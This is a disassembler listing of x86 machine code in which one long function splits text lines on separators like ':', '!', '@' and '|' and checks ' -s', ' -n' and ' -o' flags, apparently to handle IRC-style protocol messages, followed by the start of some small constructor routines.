		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493FD
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493B4
		call	sub_4017EE
		mov	ecx, dword_4490D4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449108
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_44910C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493FD
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493B4
		call	sub_4017EE
		mov	edx, dword_4490D4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490DC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490E4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490E0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449814
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C74 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F40
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F40
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490D8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C68 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C68 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C64 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F40


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E55
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C74 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C68 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493FD
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493B4
		call	sub_4017EE
		mov	edx, dword_4490D4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C68 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C64 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C64 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F40
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F40
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E55
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E55
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449110
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C68 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C68 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C68 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC6E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
